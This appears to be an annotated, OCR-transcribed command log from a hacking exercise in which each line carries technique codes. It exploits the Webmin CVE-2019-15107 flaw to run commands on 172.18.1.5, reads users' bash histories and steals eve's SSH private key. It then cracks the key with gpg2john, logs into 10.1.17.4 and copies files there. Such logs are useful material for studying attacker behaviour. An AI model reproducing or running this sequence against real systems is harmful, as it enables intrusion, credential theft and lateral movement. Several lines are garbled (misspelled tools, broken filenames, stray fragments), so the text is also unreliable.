```
curl U
                                          ifconfig U
                         git clone github.com/jas502n/CVE-2019-15107 U
                     git clone https://github.com/jas502n/CVE-2019-15107 U
 ls A10
                                          ls -la A10
                        drwx----- 3 root root 4096 Apr 7 11:39 .gnupg U
                        drwxr-xr-x 3 root root 4096 Jul 15 09:27 .local U
                        drwxr-xr-x 2 root root 4096 Jul 15 09:27 Music U
                       drwxr-xr-x 2 root root 4096 Jul 15 09:27 Pictures U
                     git clone https://github.com/jas502n/CVE-2019-15107 U
                                            cd U
                                           ls A10
                                    cd CVE-2019-15107/ U
                                           ls A10
  ncat -l 8080 A1 A9 A11 A12 A17
                            sudo apt install neat A1 A9 A11 A12 A17
                                ncat -l 8080 A1 A9 A11 A12 A17
                                ncat -i 8080 A1 A9 A11 A12 A17
                                ncat -l 8080 A1 A9 A11 A12 A17
  python CVE_2019_15107.py http://172.18.1.5:10000 'id' A13
            python CVE_2019_15107.py http://172.18.1.5:10000 'cat ./.bash_history' M11
 python CVE_2019_15107.py http://172.18.1.5:10000 'cat home/eva/.bash_history' A1 A9 A12 A13 A17
 python CVE_2019_15107.py http://172.18.1.5:10000 'cat home/bob/.bash_history' A1 A9 A12 A13 A17
python CVE_2019_15107.py http://172.18.1.5:10000 'cat home/debian/.bash_history' A1 A9 A12 A13 A17
           python CVE_2019_15107.py http://172.18.1.5:10000 'ls home/debian/' A10 A13
           python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/debian/' A10 A13
                python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la' A10 A13
            python CVE 2019 15107.py http://172.18.1.5:10000 'cd /home ; ls' A10 A13
                                  module.info.pt_BR.UTF-8 U
                                   module.info.ru.UTF-8 U
                                     module.info.ru_RU U
                                  module.info.ru_RU.UTF-8 U
                                     module.info.ru_SU U
                                       module.info.sk U
                                   module.info.sk.UTF-8 U
                                       module.info.sv U
                                    module.info.sv.UTF-8 U
                                       module.info.tr U
                                     module.info.zh_CN U
                                  module.info.zh_TW.Big5 U
                                        negativeacl U
                                        openssl.cnf U
                                       postinstall.pl U
                                        save_acl.cgi U
                                       save_group.cgi U
                                       save_pass.cgi U
                                        save_sql.cgi U
                                       save_sync.cgi U
                                     save_twofactor.cgi U
                                       save unix.cgi U
                                       save_user.cgi A4
                                        schema.cgi U
                                         switch.cgi U
                                       system_info.pl U
                                        twofactor.pl U
                                     twofactor_form.cgi U
                                   useradmin_update.pl A4
                                      webmin.schema U
           python CVE_2019_15107.py http://172.18.1.5:10000 'cd /home ; ls -la' A10 A13
                           rwxr-xr-x \, 6 root bin 12288 Jul \, 4 \, 2019 . U
                         drwxr-xr-x 132 root bin 12288 Jul\,4\, 2019 .. U
                drwxr-xr-x 3 root bin 4096 Jul 4 2019 Authen-SolarisRBAC-0.1 U
             python CVE_2019_15107.py 
 http://172.18.1.5:10000 'cd / ; ls -la' A10 A13
              python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home' A10 A13
            python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/alice' A10 A13
           python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/alice' A10 A13
         python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/debian' A10 A13
             python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/eve' M10
 python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.bash_history' A1 A9 A12 A13 A17
                                          ervices U
                     echo '81.2.195.254' >> ~/top-secret/too_dangerous.txt U
                                         2.195.254 U
                                     cat /etc/services M1
                                 less /etc/services A9 A12 A17
  python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/bob/.bash_history' A9 A12 A13 A17
             python CVE_2019_15107.py http://172.18.1.5:10000 'ls -la /home/bob' A13
  python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.bash history' A9 A12 A13 A17
                                     ssh 10.1.18.22 A16
                                      ssh 10.1.17.4 A16
           python CVE 2019 15107.py http://172.18.1.5:10000 'ssh eve@10.1.17.4' M16
      python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh' A9 A12 A13 A17
              python CVE_2019_15107.py http://172.18.1.5:10000 'ls /home/eve/' A13
      python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh' A9 A12 A13 A17
  python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.bash history' A9 A12 A13 A17
              python CVE_2019_15107.py http://172.18.1.5:10000 'ls /home/eve/' A13
             python CVE_2019_15107.py http://172.18.1.5:10000 'ls -la /home/bob' A13
             python CVE_2019_15107.py http://172.18.1.5:10000 'ls -la /home/eve' A13
           python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/eve/.ssh/' A13
         python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh/id_rsa' M12
                                        touch id_rsa U
                                        nano id_rsa U
   python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh/id_rsa.pub' A9 A13 A17
                                      touch id_rsa.pub U
                                      nano id rsa.pub U
                                     ssh eve@10.1.17.4 U
                                           cd .. U
                                            ls U
                                          cd .ssh U
                                            ls U
                                           ls -la U
                                    chmod 600 id_rsa M15
                                           ls -la U
                                     ssh eve@10.1.17.4 U
                                     gpg2john id_rsa A14
                              scp -r * eve@10.1.17.4:/home/eve/ U
```

ifconfig U

 $nmao\ U$

nmap A0 A1

nmap A0 A1

ifconfig U

nmap -h A0 A1